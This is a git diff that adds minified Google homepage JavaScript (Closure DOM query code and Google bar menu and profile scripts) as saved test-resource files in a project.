+_.mMa=_.sd&&"BackCompat"==window.document.compatMode;_.gMa=window.document.firstChild.children?"children":"childNodes";_.C$=_.m;
+_.jMa={"*=":function(a,b){return function(c){return 0<=(0,_.F$)(c,a).indexOf(b)}},"^=":function(a,b){return function(c){return 0==(0,_.F$)(c,a).indexOf(b)}},"$=":function(a,b){return function(c){c=" "+(0,_.F$)(c,a);return c.lastIndexOf(b)==c.length-b.length}},"~=":function(a,b){var c=" "+b+" ";return function(b){return 0<=(" "+(0,_.F$)(b,a)+" ").indexOf(c)}},"|=":function(a,b){b=" "+b;return function(c){c=" "+(0,_.F$)(c,a);return c==b||0==c.indexOf(b+"-")}},"=":function(a,b){return funct [...]
+a)==b}}};_.L$="undefined"==typeof window.document.firstChild.nextElementSibling;_.H$=!_.L$?"nextElementSibling":"nextSibling";_.fMa=!_.L$?"previousElementSibling":"previousSibling";_.G$=_.L$?_.E$:_.zi;
+_.K$={checked:function(){return function(a){return a.checked||a.attributes.checked}},"first-child":function(){return _._lookLeft$$inline_21486},"last-child":function(){return _._lookRight$$inline_21487},"only-child":function(){return function(a){return!(0,_._lookLeft$$inline_21486)(a)||!(0,_._lookRight$$inline_21487)(a)?_.m:_.j}},empty:function(){return function(a){var b=a.childNodes;for(a=a.childNodes.length-1;0<=a;a--){var c=b[a].nodeType;if(1===c||3==c)return _.m}return _.j}},contains [...]
+b){var c=b.charAt(0);if('"'==c||"'"==c)b=b.slice(1,-1);return function(a){return 0<=a.innerHTML.indexOf(b)}},not:function(a,b){var c=(0,_.eMa)(b)[0],d={Ce:1};"*"!=c.iz&&(d.iz=1);c.uA.length||(d.uA=1);var e=(0,_.J$)(c,d);return function(a){return!e(a)}},"nth-child":function(a,b){if("odd"==b)return _.iMa;if("even"==b)return _.hMa;if(-1!=b.indexOf("n")){var c=b.split("n",2),d=c[0]?"-"==c[0]?-1:(0,window.parseInt)(c[0],10):1,e=c[1]?(0,window.parseInt)(c[1],10):0,f=0,g=-1;0<d?0>e?e=e%d&&d+e%d [...]
+d&&(f=e-e%d),e%=d):0>d&&(d*=-1,0<e&&(g=e,e%=d));if(0<d)return function(a){a=(0,_.I$)(a);return a>=f&&(0>g||a<=g)&&a%d==e};b=e}var h=(0,window.parseInt)(b,10);return function(a){return(0,_.I$)(a)==h}}};_.kMa=_.lc?function(a){var b=a.toLowerCase();"class"==b&&(a="className");return function(c){return _.C$?c.getAttribute(a):c[a]||c[b]}}:function(a){return function(b){return b&&b.getAttribute&&b.hasAttribute(a)}};_._getElementsFuncCache$$inline_21498={};_._queryFuncCacheDOM$$inline_21501={};
+_._queryFuncCacheQSA$$inline_21502={};_.pMa=!!window.document.querySelectorAll&&(!_.sd||(0,_.hc)("526"));_._zipIdx$$inline_21506=0;_._nodeUID$$inline_21507=_.lc?function(a){return _.C$?a.getAttribute("_uid")||a.setAttribute("_uid",++_._zipIdx$$inline_21506)||_._zipIdx$$inline_21506:a.uniqueID}:function(a){return a._uid||(a._uid=++_._zipIdx$$inline_21506)};_._zipIdxName$$inline_21509="_zipIdx";_.M$.nD=_.K$;(0,_.ha)("goog.dom.query",_.M$,_.ba);(0,_.ha)("goog.dom.query.pseudos",_.M$.nD,_.ba);
+new _.Bv;_.P$=_.l;_.N$=new _.pq(new _.oq);(0,_.ah)("mbtt",{init:function(a){if(a=a.lgh&&(0,_.nq)(_.N$.iE))_.P$===_.l&&(_.P$=(a=_.N$.get("flc"))?(0,window.Number)(a):0),a=_.P$,a=8>a&&!(0,window.Boolean)(_.N$.get("fd"));a&&(_.P$++,_.N$.set("flc",_.P$),(0,_.ha)("guidedhelp.onFlowDismiss",_.qMa,_.ba),(0,_.ULa)(2767082,"//support.google.com","/websearch","en-US","mobile",_.m,_.m,"",_.j),(0,_.dMa)((0,_.$La)("//support.google.com","/websearch","en-US"),"conversion track for tool tips for query [...]
+
+(0,_.Mc)(_.Dc.I(),"mbtt");(0,_.Qc)(_.Dc.I(),"mbtt");
+}catch(e){_._DumpException(e)}
+})(_);
+
+// Copyright 2002-2013 Google Inc.
diff --git a/src/test/resources/s/google.com_files/sem_02745283c6d09baf2ddd04f5e47ece34.js b/src/test/resources/s/google.com_files/sem_02745283c6d09baf2ddd04f5e47ece34.js
new file mode 100644
index 0000000..9398c9c
--- /dev/null
+++ b/src/test/resources/s/google.com_files/sem_02745283c6d09baf2ddd04f5e47ece34.js
@@ -0,0 +1,80 @@
+(function(){try{var j=void 0,k=!0,l=null,m=!1,n,p=this,q=function(a,b,c){a=a.split(".");c=c||p;!(a[0]in c)&&c.execScript&&c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)!a.length&&b!==j?c[d]=b:c=c[d]?c[d]:c[d]={}},aa=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=ty [...]
+typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b},s=function(a){return"string"==typeof a},ba=function(a){var b=typeof a;return"object"==b&&a!=l||"function"==b};Math.floor(2147483648*Math.random()).toString(36);
+var ca=function(a,b,c){return a.call.apply(a.bind,arguments)},da=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}},v=function(a,b,c){v=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?ca:da;return v.apply(l,arguments)},ea=function(a, [...]
+Array.prototype.slice.call(arguments,1);return function(){var b=Array.prototype.slice.call(arguments);b.unshift.apply(b,c);return a.apply(this,b)}},fa=Date.now||function(){return+new Date},ga=function(a,b){q(a,b,j)};window.gbar.tev&&window.gbar.tev(3,"m");window.gbar.bls&&window.gbar.bls("m");var ma=function(a){if(!ha.test(a))return a;-1!=a.indexOf("&")&&(a=a.replace(ia,"&"));-1!=a.indexOf("<")&&(a=a.replace(ja,"<"));-1!=a.indexOf(">")&&(a=a.replace(ka,">"));-1!=a.indexOf('"')& [...]
+a.split(""):a,h=0;h<d;h++)if(h in g){var i=g[h];b.call(c,i,h,a)&&(e[f++]=i)}return e},qa=function(a,b,c){return 2>=arguments.length?w.slice.call(a,b):w.slice.call(a,b,c)};var z=function(a,b){this.x=a!==j?a:0;this.y=b!==j?b:0};z.prototype.floor=function(){this.x=Math.floor(this.x);this.y=Math.floor(this.y);return this};var ra=function(a,b){this.width=a;this.height=b};ra.prototype.floor=function(){this.width=Math.floor(this.width);this.height=Math.floor(this.height);return this};var sa="co [...]
+a:{var Ga="",Ha;if(Ba&&p.opera)var Ia=p.opera.version,Ga="function"==typeof Ia?Ia():Ia;else if(Ca?Ha=/rv\:([^\);]+)(\)|;)/:A?Ha=/MSIE\s+([^\);]+)(\)|;)/:Da&&(Ha=/WebKit\/(\S+)/),Ha)var Ja=Ha.exec(ya()),Ga=Ja?Ja[1]:"";if(A){var Ka=Ea();if(Ka>parseFloat(Ga)){Fa=String(Ka);break a}}Fa=Ga}
+var La=Fa,Ma={},Na=function(a){var b;if(!(b=Ma[a])){b=0;for(var c=String(La).replace(/^[\s\xa0]+|[\s\xa0]+$/g,"").split("."),d=String(a).replace(/^[\s\xa0]+|[\s\xa0]+$/g,"").split("."),e=Math.max(c.length,d.length),f=0;0==b&&f<e;f++){var g=c[f]||"",h=d[f]||"",i=RegExp("(\\d*)(\\D*)","g"),r=RegExp("(\\d*)(\\D*)","g");do{var t=i.exec(g)||["","",""],u=r.exec(h)||["","",""];if(0==t[0].length&&0==u[0].length)break;b=((0==t[1].length?0:parseInt(t[1],10))<(0==u[1].length?0:parseInt(u[1],10))?-1 [...]
+0:parseInt(t[1],10))>(0==u[1].length?0:parseInt(u[1],10))?1:0)||((0==t[2].length)<(0==u[2].length)?-1:(0==t[2].length)>(0==u[2].length)?1:0)||(t[2]<u[2]?-1:t[2]>u[2]?1:0)}while(0==b)}b=Ma[a]=0<=b}return b},Oa=p.document,Pa=!Oa||!A?j:Ea()||("CSS1Compat"==Oa.compatMode?parseInt(La,10):5);var Qa,Ra=!A||A&&9<=Pa;!Ca&&!A||A&&A&&9<=Pa||Ca&&Na("1.9.1");var Sa=A&&!Na("9");var Ta=function(a){a=a.className;return s(a)&&a.match(/\S+/g)||[]},Xa=function(a,b){var c=Ta(a),d=qa(arguments,1),e=c.length+ [...]
+c.getElementsByClassName(a);return g}g=c.getElementsByTagName("*");if(a){f={};for(d=e=0;c=g[d];d++){var h=c.className;"function"==typeof h.split&&0<=na(h.split(/\s+/),a)&&(f[e++]=c)}f.length=e;return f}return g},fb={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",height:"height",maxlength:"maxLength",role:"role",rowspan:"rowSpan",type:"type",usemap:"useMap",valign:"vAlign",width:"width"},hb=function(a,b,c){var d=arguments,e=document,f=d[0], [...]
+g&&(g.name||g.type)){f=["<",f];g.name&&f.push(' name="',ma(g.name),'"');if(g.type){f.push(' type="',ma(g.type),'"');var h={};ta(h,g);delete h.type;g=h}f.push(">");f=f.join("")}f=e.createElement(f);if(g)if(s(g))f.className=g;else if("array"==aa(g))Xa.apply(l,[f].concat(g));else{var i=f,h=function(a,b){"style"==b?i.style.cssText=a:"class"==b?i.className=a:"for"==b?i.htmlFor=a:b in fb?i.setAttribute(fb[b],a):0==b.lastIndexOf("aria-",0)||0==b.lastIndexOf("data-",0)?i.setAttribute(b,a):i[b]=a [...]
+g[r],r)}2<d.length&&gb(e,f,d,2);return f},gb=function(a,b,c,d){function e(c){c&&b.appendChild(s(c)?a.createTextNode(c):c)}for(;d<c.length;d++){var f=c[d],g=f,h=aa(g);if(("array"==h||"object"==h&&"number"==typeof g.length)&&!(ba(f)&&0<f.nodeType)){g=oa;a:{if((h=f)&&"number"==typeof h.length){if(ba(h)){h="function"==typeof h.item||"string"==typeof h.item;break a}if("function"==aa(h)){h="function"==typeof h.item;break a}}h=m}if(h)if(h=f.length,0<h){for(var i=Array(h),r=0;r<h;r++)i[r]=f[r];f [...]
+[];g(f,e)}else e(f)}},ib=function(a,b){gb(ab(a),a,arguments,1)},ab=function(a){return 9==a.nodeType?a:a.ownerDocument||a.document},jb={SCRIPT:1,STYLE:1,HEAD:1,IFRAME:1,OBJECT:1},kb={IMG:" ",BR:"\n"},lb=function(a,b,c){if(!(a.nodeName in jb))if(3==a.nodeType)c?b.push(String(a.nodeValue).replace(/(\r\n|\r|\n)/g,"")):b.push(a.nodeValue);else if(a.nodeName in kb)b.push(kb[a.nodeName]);else for(a=a.firstChild;a;)lb(a,b,c),a=a.nextSibling},$a=function(a){this.v=a||p.document||document};
+$a.prototype.createElement=function(a){return this.v.createElement(a)};$a.prototype.createTextNode=function(a){return this.v.createTextNode(String(a))};var mb=function(a){var b=a.v;a=!Da&&"CSS1Compat"==b.compatMode?b.documentElement:b.body;b=b.parentWindow||b.defaultView;return new z(b.pageXOffset||a.scrollLeft,b.pageYOffset||a.scrollTop)};$a.prototype.appendChild=function(a,b){a.appendChild(b)};var nb=function(a){nb[" "](a);return a};nb[" "]=function(){};var ob=function(a,b){try{return [...]
+arguments);return a==j?b:b==j?a:b&&a}},K=function(a){return document.getElementById(a)},Eb=function(){var a=K("gbx1");return D.kn&&D.kn()&&a?a.clientWidth:document.documentElement&&document.documentElement.clientWidth?document.documentElement.clientWidth:document.body.clientWidth},Fb=function(a){var b={};if("none"!=a.style.display)return b.width=a.offsetWidth,b.height=a.offsetHeight,b;var c=a.style,d=c.display,e=c.visibility,f=c.position;c.visibility="hidden";c.position="absolute";c.disp [...]
+var g;g=a.offsetWidth;a=a.offsetHeight;c.display=d;c.position=f;c.visibility=e;b.width=g;b.height=a;return b},Gb=function(a){if(yb===j){var b=document.body.style;yb=!(b.WebkitBoxShadow!==j||b.MozBoxShadow!==j||b.boxShadow!==j||b.BoxShadow!==j)}if(yb){var b=a.id+"-gbxms",c=K(b);c||(c=document.createElement("span"),c.id=b,c.className="gbxms",a.appendChild(c));Ab===j&&(Ab=c.offsetHeight<a.offsetHeight/2);Ab&&(c.style.height=a.offsetHeight-5+"px",c.style.width=a.offsetWidth-3+"px")}},Hb=func [...]
+a.style,d=b||K(wb);d&&(a.parentNode&&a.parentNode.appendChild(d),d=d.style,d.width=a.offsetWidth+"px",d.height=a.offsetHeight+"px",d.left=c.left,d.right=c.right)}},Ib=function(a){try{if(I&&(!D.eh[I]||!(!a&&!window.event?0:(a||window.event).ctrlKey||(a||window.event).metaKey||2==(a||window.event).which))){var b=K(wb);b&&(b.style.cssText="",b.style.visibility="hidden");var c=K(I);if(c){c.style.cssText="";c.style.visibility="hidden";var d=c.getAttribute("aria-owner"),e=d?K(d):l;e&&(N(e.pare [...]
+e.blur())}xb&&(xb(),xb=j);var f=D.ch[I];if(f){a=0;for(var g;g=f[a];a++)try{g()}catch(h){B(h,"sb","cdd1")}}I=j}}catch(i){B(i,"sb","cdd2")}},Jb=function(a,b){try{if(I)for(var c=b.target||b.srcElement;"a"!=c.tagName.toLowerCase();){if(c.id==a)return b.cancelBubble=k,c;c=c.parentNode}}catch(d){B(d,"sb","kdo")}return l},Kb=function(a){var b={s:!I?"o":"c"};-1!=a&&D.logger.il(a,b)},Mb=function(a,b){if(ob(a,"className")){var c=a.className;Lb(a,b)||(a.className+=(""!=c?" ":"")+b)}},N=function(a,b [...]
+d=RegExp("\\s?\\b"+b+"\\b");c&&c.match(d)&&(a.className=c.replace(d,""))},Lb=function(a,b){var c=RegExp("\\b"+b+"\\b"),d=a.className;return!(!d||!d.match(c))},Qb=function(a,b,c,d){try{a=a||window.event;c=c||m;if(!wb){var e=document.createElement("iframe");e.frameBorder="0";e.tabIndex="-1";wb=e.id="gbs";e.src="javascript:''";e.setAttribute("aria-hidden","true");e.setAttribute("title","empty");K("gbw").appendChild(e)}Bb||(J(document,"click",Nb),J(document,"keyup",Ob),Bb=k);c||(a.preventDef [...]
+a.returnValue=m,a.cancelBubble=k);if(!b){b=a.target||a.srcElement;for(var f=b.parentNode.id;!Lb(b.parentNode,"gbt");){if("gb"==f)return;b=b.parentNode;f=b.parentNode.id}}var g=b.getAttribute("aria-owns");if(g&&g.length)if(d||b.focus(),I==g)Pb(g);else{var h=b.offsetWidth;a=0;do a+=b.offsetLeft||0;while(b=b.offsetParent);if(Cb===j){var i=K("gb"),r,t=document.defaultView;if(t&&t.getComputedStyle){var u=t.getComputedStyle(i,"");u&&(r=u.direction)}else r=i.currentStyle?i.currentStyle.directio [...]
+Cb="rtl"==r}b=Cb?m:k;i=Cb?m:k;"gbd"==g&&(i=!i);I&&Ib();var x=D.bh[g];if(x)for(var F=0,L;L=x[F];F++)try{L()}catch(y){B(y,"sb","t1")}var x=a,C=K(g);if(C){var E=C.style,G=C.offsetWidth;if(G<h){E.width=h+"px";var G=h,M=C.offsetWidth;M!=h&&(E.width=h-(M-h)+"px")}M=5;if(0>x)var Y=Eb(),T=window.document,Ua="CSS1Compat"==T.compatMode?T.documentElement:T.body,M=M-(Y-(new ra(Ua.clientWidth,Ua.clientHeight)).width);var Va,Z,Y=Eb();if(i){if(Va=b?Math.max(Y-x-G,M):Y-x-h,Z=-(Y-x-h-Va),ub()){var Ec=vb( [...]
+7==Ec&&"BackCompat"==document.compatMode)Z-=2}}else Va=b?x:Math.max(x+h-G,M),Z=Va-x;var Fc=K("gbw"),Gc=K("gb");if(Fc&&Gc){var Hc=Fc.offsetLeft;Hc!=Gc.offsetLeft&&(Z-=Hc)}Gb(C);E.right=i?Z+"px":"auto";E.left=i?"auto":Z+"px";E.visibility="visible";var Ic=C.getAttribute("aria-owner"),Jc=Ic?K(Ic):l;Jc&&Mb(Jc.parentNode,"gbto");var zb=K(wb);zb&&(Hb(C,zb),zb.style.visibility="visible");I=g}var Kc=D.dh[g];if(Kc)for(F=0;L=Kc[F];F++)try{L()}catch(Td){B(Td,"sb","t2")}}}catch(Ud){B(Ud,"sb","t3")}}, [...]
+a||window.event;var b=a.target||a.srcElement;if(a.keyCode&&b)if(a.keyCode&&27==a.keyCode)Ib();else if("a"==b.tagName.toLowerCase()&&-1!=b.className.indexOf("gbgt")&&(13==a.keyCode||3==a.keyCode)){var c=document.getElementById(I);if(c){var d=c.getElementsByTagName("a");d&&(d.length&&d[0].focus)&&d[0].focus()}}}catch(e){B(e,"sb","kuh")}},Ub=function(a){var b=Rb(a);b&&Sb(a,ea(Tb,b))},Rb=function(a){for(var b=0,c;c=Db[b];b++)if(Lb(a,c))return c},Sb=function(a,b){var c;c=function(c){try{c=c|| [...]
+var e,f=c.relatedTarget;e=f&&ob(f,"parentNode")?f:l;var g;if(!(g=a===e))if(a===e)g=m;else{for(;e&&e!==a;)e=e.parentNode;g=e===a}g||b(c,a)}catch(h){B(h,"sb","bhe")}};J(a,"mouseover",c);J(a,"mouseout",c)},Tb=function(a,b,c){try{if(a+="-hvr","mouseover"==b.type){Mb(c,a);var d=document.activeElement;if(d&&ob(d,"className")){var e=Lb(d,"gbgt")||Lb(d,"gbzt"),f=Lb(c,"gbgt")||Lb(c,"gbzt");e&&f&&d.blur()}}else"mouseout"==b.type&&N(c,a)}catch(g){B(g,"sb","moaoh")}},Vb=function(a){for(;a&&a.hasChil [...]
+Nb=function(a){Ib(a)},Pb=function(a){a==I&&Ib()},O=function(a,b){var c=document.createElement(a);c.className=b;return c},Wb=function(a){a&&"visible"==a.style.visibility&&(Gb(a),Hb(a))},Xb=function(){try{var a=document.getElementById("gbd3");if(a)return"visible"==a.style.visibility.toLowerCase()}catch(b){B(b,"sb","bsy")}return m};
+H("base",{init:function(){var a=K("gb");if(a){N(a,"gbpdjs");for(var b=a.getElementsByTagName("a"),a=[],c=K("gbqfw"),d=0,e;e=b[d];d++)a.push(e);if(c){var f=K("gbqfqw"),d=K("gbqfwc"),b=K("gbqfwe");e=c.getElementsByTagName("button");c=[];f&&!D.sg.c&&c.push(f);if(e&&0<e.length)for(var f=0,g;g=e[f];f++)c.push(g);d&&b&&(c.push(d),c.push(b));for(d=0;b=c[d];d++)a.push(b)}for(d=0;c=a[d];d++)(b=Rb(c))&&Sb(c,ea(Tb,b))}ga("gbar.addHover",Ub);ga("gbar.close",Nb);ga("gbar.cls",Pb);ga("gbar.tg",Qb);ga( [...]
+Wb);ga("gbar.bsy",Xb);D.adh("gbd4",function(){Kb(5)});D.adh("gbd5",function(){Kb(6)});a=K("gbg6");c=K("gbg4");a&&c&&(J(a,"click",function(){D.logger.il(42)}),J(c,"click",function(){D.logger.il(43)}))}});var Yb=function(a,b){var c;a:{c=ab(a);if(c.defaultView&&c.defaultView.getComputedStyle&&(c=c.defaultView.getComputedStyle(a,l))){c=c[b]||c.getPropertyValue(b)||"";break a}c=""}return c||(a.currentStyle?a.currentStyle[b]:l)||a.style&&a.style[b]},Zb=function(a){var b=a.getBoundingClientRect [...]
+Yb(a,"position"),d="fixed"==c||"absolute"==c;for(a=a.parentNode;a&&a!=b;a=a.parentNode)if(c=Yb(a,"position"),d=d&&"static"==c&&a!=b.documentElement&&a!=b.body,!d&&(a.scrollWidth>a.clientWidth||a.scrollHeight>a.clientHeight||"fixed"==c||"absolute"==c||"relative"==c))return a;return l},ac=function(a){var b,c=ab(a),d=Yb(a,"position"),e=Ca&&c.getBoxObjectFor&&!a.getBoundingClientRect&&"absolute"==d&&(b=c.getBoxObjectFor(a))&&(0>b.screenX||0>b.screenY),f=new z(0,0),g;b=c?ab(c):document;if(g=A [...]
+9<=Pa))g="CSS1Compat"!=bb(b).v.compatMode;g=g?b.body:b.documentElement;if(a==g)return f;if(a.getBoundingClientRect)b=Zb(a),a=mb(bb(c)),f.x=b.left+a.x,f.y=b.top+a.y;else if(c.getBoxObjectFor&&!e)b=c.getBoxObjectFor(a),a=c.getBoxObjectFor(g),f.x=b.screenX-a.screenX,f.y=b.screenY-a.screenY;else{e=a;do{f.x+=e.offsetLeft;f.y+=e.offsetTop;e!=a&&(f.x+=e.clientLeft||0,f.y+=e.clientTop||0);if(Da&&"fixed"==Yb(e,"position")){f.x+=c.body.scrollLeft;f.y+=c.body.scrollTop;break}e=e.offsetParent}while( [...]
+if(Ba||Da&&"absolute"==d)f.y-=c.body.offsetTop;for(e=a;(e=$b(e))&&e!=c.body&&e!=g;)if(f.x-=e.scrollLeft,!Ba||"TR"!=e.tagName)f.y-=e.scrollTop}return f},cc=function(a){if("none"!=Yb(a,"display"))return bc(a);var b=a.style,c=b.display,d=b.visibility,e=b.position;b.visibility="hidden";b.position="absolute";b.display="inline";a=bc(a);b.display=c;b.position=e;b.visibility=d;return a},bc=function(a){var b=a.offsetWidth,c=a.offsetHeight,d=Da&&!b&&!c;return(b===j||d)&&a.getBoundingClientRect?(a= [...]
+a.left,a.bottom-a.top)):new ra(b,c)},dc=function(a,b){var c=a.style;"opacity"in c?c.opacity=b:"MozOpacity"in c?c.MozOpacity=b:"filter"in c&&(c.filter=""===b?"":"alpha(opacity="+100*b+")")},ec=/matrix\([0-9\.\-]+, [0-9\.\-]+, [0-9\.\-]+, [0-9\.\-]+, ([0-9\.\-]+)p?x?, ([0-9\.\-]+)p?x?\)/;var fc=window.gbar.i;var gc=function(a,b){this.D=a;this.T=b;!this.D||!this.T?B(Error("Missing DOM"),"sbr","init"):(this.la=eb("gbsbt",this.D),this.ka=eb("gbsbb",this.D),!this.la||!this.ka?B(Error("Missing [...]
+a.ppa;this.$a=a.cp;this.Wa=a.mh;this.cb=a.d;this.H=a.e;this.$=a.p;this.Xa=a.ppl;this.Z=a.pp;this.Ua=a.ppm;this.fb=a.s;this.Va=a.sanw;(b=K("gbi4i"))&&b.loadError&&this.ta();(b=K("gbmpi"))&&b.loadError&&this.va();this.sa||((b=K("gbd4"))&&J(b,"click",v(Jb,this,"gbd4"),k),this.sa=k);try{var c=K("gbmpas"),d=K("gbmpasb");this.fb&&(c&&d)&&(this.b=new gc(d,c),D.adh("gbd4",v(this.eb,this)))}catch(e){B(e,"sp","ssb")}if(this.$a)try{var f=document.getElementById("gbd4");f&&(J(f,"mouseover",v(this.aa [...]
+m),J(f,"mouseout",v(this.aa,this,Xa),m),this.aa(Xa))}catch(g){B(g,"sp","smh")}if(!this.cb&&(c=K("gbmpn"))&&hc(c)==this.H)c=this.H.indexOf("@"),0<=c&&ic(this.H.substring(0,c));a.xp&&(a=K("gbg4"),c=K("gbg6"),a&&(J(a,"mouseover",v(this.ba,this)),this.N&&J(a,"mouseover",v(this.xa,this))),c&&(J(c,"mouseover",v(this.ba,this)),this.N&&J(c,"mouseover",v(this.xa,this))));if(this.N&&(this.O={},a=K("gbmpas"))){a=db("gbmt",a);for(c=0;d=a[c];++c)d&&(f=eb("gbps3",d),d=eb("gbmpia",d),f&&d&&(b=j,Sa&&"in [...]
+f?b=f.innerText.replace(/(\r\n|\r|\n)/g,"\n"):(b=[],lb(f,b,k),b=b.join("")),b=b.replace(/ \xAD /g," ").replace(/\xAD/g,""),b=b.replace(/\u200B/g,""),Sa||(b=b.replace(/ +/g," "))," "!=b&&(b=b.replace(/^\s*/,"")),f=b,d=d.getAttribute("data-asrc"),this.O[f]=d))}this.qa=[];a=vb();a!=l&&7>=a&&(this.wa(),this.G=m)};n=P.prototype;n.aa=function(a){var b=document.getElementById("gbmpicb"),c=document.getElementById("gbmpicp");b&&a(b,"gbxo");c&&a(c,"gbxo")};
+n.ab=function(){try{var a=K("gbmpas");a&&Vb(a);this.b&&this.b.u();this.G=m;jc(this,m)}catch(b){B(b,"sp","cam")}};
+n.wa=function(){var a=K("gbmpdv"),b=K("gbmps");if(a&&b&&!this.G){var c=K("gbmpal"),d=K("gbpm");if(c){a.style.width="";b.style.width="";c.style.width="";d&&(d.style.width="1px");var e=Fb(a).width,f=Fb(b).width,e=e>f?e:f;if(f=K("gbg4"))f=Fb(f).width,f>e&&(e=f);if(ub()&&(f=vb(),6==f||7==f&&"BackCompat"==document.compatMode))e+=2;e+="px";a.style.width=e;b.style.width=e;c.style.width=e;d&&(d.style.width=e);this.b&&this.b.u();this.G=k}}};
+n.bb=function(){for(var a=0,b;b=this.qa[a];++a)b&&b&&b.parentNode&&b.parentNode.removeChild(b);this.b&&this.b.u();this.G=m;jc(this,m)};
+n.Za=function(a,b,c,d,e,f,g,h,i,r){try{var t=K("gbmpas");if(a)for(var u=db("gbp0",t),x=0,F;F=u[x];++x)F&&Za(F,"gbp0");if(t){u="gbmtc";a&&(u+=" gbp0");f||(u+=" gbpd");var L=O("div",u),y=O(f?"a":"span","gbmt");if(f){if(h)for(var C in h)y.setAttribute(C,h[C]);y.href=g;Sb(y,ea(Tb,"gbmt"));this.Va&&(y.target="_blank",y.rel="noreferrer")}if(this.N){var E=O("span","gbmpiaw"),G=O("img","gbmpia");G.height="48";G.width="48";d?G.alt=d:G.alt=e;a=r?"//ssl.gstatic.com/gb/images/pluspages_48.png":"//ss [...]
+i?(a=i,this.O[e]=i):this.O[e]&&(a=this.O[e]);G.setAttribute("src",a);G.setAttribute("data-asrc",a);E.appendChild(G);y.appendChild(E)}var M=O("span","gbmpnw"),Y=O("span","gbps");M.appendChild(Y);Y.appendChild(document.createTextNode(d||e));var T=O("span","gbps2");b?kc(this.Sa,e,T):c?kc(this.Ta,e,T):r?T.appendChild(document.createTextNode(this.Ua)):kc(l,e,T);M.appendChild(T);y.appendChild(M);L.appendChild(y);t.appendChild(L);this.qa.push(L);this.b&&this.b.u();r&&!this.Y&&jc(this,r)}}catch( [...]
+"sp","aa")}};
+var kc=function(a,b,c){var d=O("span","gbps3");d.appendChild(document.createTextNode(b));a?(a=a.split("%1$s"),b=document.createTextNode(a[1]),c.appendChild(document.createTextNode(a[0])),c.appendChild(d),c.appendChild(b)):c.appendChild(d)},jc=function(a,b){var c=K("gbmppc");c&&(b?(N(c,"gbxx"),a.Y=k):(Mb(c,"gbxx"),a.Y=m))},ic=function(a){var b=K("gbd4"),c=K("gbmpn");b&&c&&(Vb(c),c.appendChild(document.createTextNode(a)),Wb(b))},lc=function(){var a=K("gbmpas");return a?db("gbmpiaw",a):l};
+P.prototype.ta=function(){try{mc("gbi4i","gbi4id")}catch(a){B(a,"sp","gbpe")}};P.prototype.va=function(){try{mc("gbmpi","gbmpid")}catch(a){B(a,"sp","ppe")}};P.prototype.Ya=function(){try{var a=lc();if(a)for(var b=0,c;c=a[b];++b)c&&(c.style.display="none")}catch(d){B(d,"sp","pae")}};var mc=function(a,b){var c=K(a);c&&(c.style.backgroundImage="url(//ssl.gstatic.com/gb/images/s_513818bc.png)",c.style.display="none");if(c=K(b))c.style.display="",c.style.backgroundImage="url(//ssl.gstatic.com [...]
+P.prototype.ba=function(){try{if(!this.ra){this.ra=k;var a=K("gbmpi");a&&this.$&&(a.src=this.$)}}catch(b){B(b,"sp","swp")}};P.prototype.xa=function(){try{if(!this.ua){this.ua=k;var a=lc();if(a)for(var b=0,c;c=a[b];++b)if(c){var d=db("gbmpia",c)[0];d.setAttribute("src",d.getAttribute("data-asrc"));N(c,"gbxv")}}}catch(e){B(e,"sp","sap")}};P.prototype.gb=function(a){try{var b=K("gbi4t");hc(K("gbmpn"))==this.H||ic(a);hc(b)!=this.H&&(Vb(b),b.appendChild(document.createTextNode(a)))}catch(c){B [...]
+var hc=function(a){return a.firstChild&&a.firstChild.nodeValue?a.firstChild.nodeValue:""};n=P.prototype;n.hb=function(a){try{this.Z=a;var b=K("gbmpi");if(b){var c=a(b.height);c&&(this.$=b.src=c)}var d=K("gbi4i");if(d){var e=a(d.height);e&&(d.src=e)}}catch(f){B(f,"sp","spp")}};
+n.ib=function(a){try{if(this.Xa){var b=K("gbi4i"),c=K("gbi4ip");if(b&&c&&(b.width=b.height=c.width=c.height=a,"none"!=b.style.display&&(c.src=b.src,c.style.display="",b.onload=P.prototype.Pb,this.Z))){var d=this.Z(a);d&&(b.src=d)}}}catch(e){B(e,"sp","sps")}};n.Pb=function(){var a=K("gbi4i");a.onload=l;a.style.display="";K("gbi4ip").style.display="none"};n.jb=function(){try{var a=K("gbg4");this.ba();Qb(l,a,k,k)}catch(b){B(b,"sp","sd")}};
+n.eb=function(){try{var a=K("gbmpas");if(a){var b=fc.j("Height"),c=K("gbd4"),d=new z;if(1==c.nodeType){if(c.getBoundingClientRect){var e=Zb(c);d.x=e.left;d.y=e.top}else{var f=mb(bb(c)),g=ac(c);d.x=g.x-f.x;d.y=g.y-f.y}if(Ca&&!Na(12)){var h=d,i;var r;A?r="-ms-transform":Da?r="-webkit-transform":Ba?r="-o-transform":Ca&&(r="-moz-transform");var t;r&&(t=Yb(c,r));t||(t=Yb(c,"transform"));if(t){var u=t.match(ec);i=!u?new z(0,0):new z(parseFloat(u[1]),parseFloat(u[2]))}else i=new z(0,0);d=new z( [...]
+i.y)}}else h="function"==aa(c.Ia),i=c,c.targetTouches?i=c.targetTouches[0]:h&&c.Ia().targetTouches&&(i=c.Ia().targetTouches[0]),d.x=i.clientX,d.y=i.clientY;var x=d.y,F=cc(c).height,b=x+F-(b-20),L=cc(a).height,y=Math.min(L-b,this.Wa);a.style.maxHeight=Math.max(74,y)+"px";Wb(c);this.b.u()}}catch(C){B(C,"sp","rac")}};H("prf",{init:function(a){new P(a)}});var nc=function(){};nc.Xb=function(){nc.Yb||(nc.Yb=new nc)};var oc=l;H("il",{init:function(){nc.Xb();var a;if(!oc){a:{a=["gbar","logger"]; [...]
